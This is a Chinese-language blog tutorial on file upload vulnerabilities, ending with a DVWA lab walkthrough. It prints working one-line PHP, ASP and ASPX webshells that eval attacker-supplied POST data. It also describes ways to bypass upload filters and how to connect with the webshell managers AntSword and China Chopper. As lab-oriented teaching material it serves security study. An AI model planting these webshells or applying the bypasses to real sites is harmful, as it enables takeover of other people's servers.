Web安全-文件上传漏洞入门看篇就够了

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、简介

任意文件上传漏洞是由于对上传文件未作过滤或过滤机制不严谨(文件后缀或类型),导致恶意用户可以上传脚本文件,通过上传文件可达到控制网站权限的目的。主要有这些危害:攻击者可获得网站控制权限、攻击者可获得网站控制权限、通过提权漏洞可获得主机权限。

2、Webshell

Webshell是一种网页后门,以asp、php、jsp等网页文件形式存在的一种命令执行环境。也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

Webshell可划分为3类:大马、小马和一句话木马。大马特征是体积大,功能齐全,通常会调用系统的关键函数,以代码加密进行隐藏。小马的特征是体积小,功能小,只有一个上传功能。一句话木马的特征是代码短,只有一行代码,使用非常方便,可单独做一个文件,也可插入其他正常文件中,安全性高、隐匿性强、可变形免杀,基本框架不变,数据执行或数据传递。在文件上传漏洞常用的就是一句话木马。

# php的一句话木马
<?php @eval($_POST['pass']);?>
# asp的一句话木马
<%eval request ("pass")%>
# aspx的一句话木马
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

3、漏洞利用

攻击者要满足3个条件才能够成功入侵:

1.木马上传成功且未被杀;

2.知道木马的路径在哪;

3.上传的木马能正常运行(解析)。

部分网站带有文件上传功能,如果这个功能不做过滤或过滤机制不严谨,就能够上传任意文件至服务器。利用这个功能上传木马至服务器,就能够控制对应的服务器。木马上传成功后返回包一般会返回上传木马的路径和文件名。如果上传的是一句话木马,用菜刀或者C刀就可以控制服务器。

对于一些网站有进行上传过滤机制,我们通常可以通过4个方面去绕过:

1.绕过JS验证:

纯前端的验证,利用Burp Suite直接删除掉JS代码之后就可以绕过JS验证,或者利用浏览器的审查工具剔除JS之后,保存为新文件然后进行文件上传。

2.绕过MIME-Type验证:

服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的。部分网站上传功能只对文件类型做了判断,抓包修改文件类型可绕过限制。如果只允许上传图片,则文件类型可为image/jpeg, image/png等。利用Burp Suite工具截断HTTP请求,在Repeater重放修改MIME-Type类型绕过验证。

3.绕过黑名单验证:

基于文件后缀名验证,只针对黑名单中没有的后缀名的文件才能上传成功。

4.绕过白名单验证:

基于文件后缀名验证,只针对白名单中有的后缀名的文件才能上传成功。

4、webshell管理工具使用

4.1、蚁剑

安装按照文档操作已成功,启动时点/AntSword-Loader-v4.0.3-win32-x64/AntSword.exe , 在主界面的数据管理右击可以添加数据,输入URL/密码,先点测试连接验证一句话木马是否上传成功。
在这里插入图片描述
在这里插入图片描述

4.2、菜刀

不需要安装,解压即可,双击解压目录下的chopper.exe,在主界面添加URL和密码添加,然后双击进入到目标服务器。

注意:菜刀对应连接的网站使用的php版本需要5.x,如果是7.x会连接不成功。蚁剑没有这个问题,如图
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、以DVWA靶场文件上传做实验

5.1、木马上传成功

安全等级选择Low

创建一个onehack.php,内容填充一句话木马

<?php
	@eval($_POST['自定义密码'])
?>

在这里插入图片描述

5.2、知道木马路径

获取上传的文件路径

http://192.168.242.6/dvwa/hackable/uploads/onehack.php
5.3、木马内容可被解析、执行

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6、资料获取

请关注我的公众号:大象只为你,后台回复:webshell管理工具,获取蚁剑和菜刀。

  • 20
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值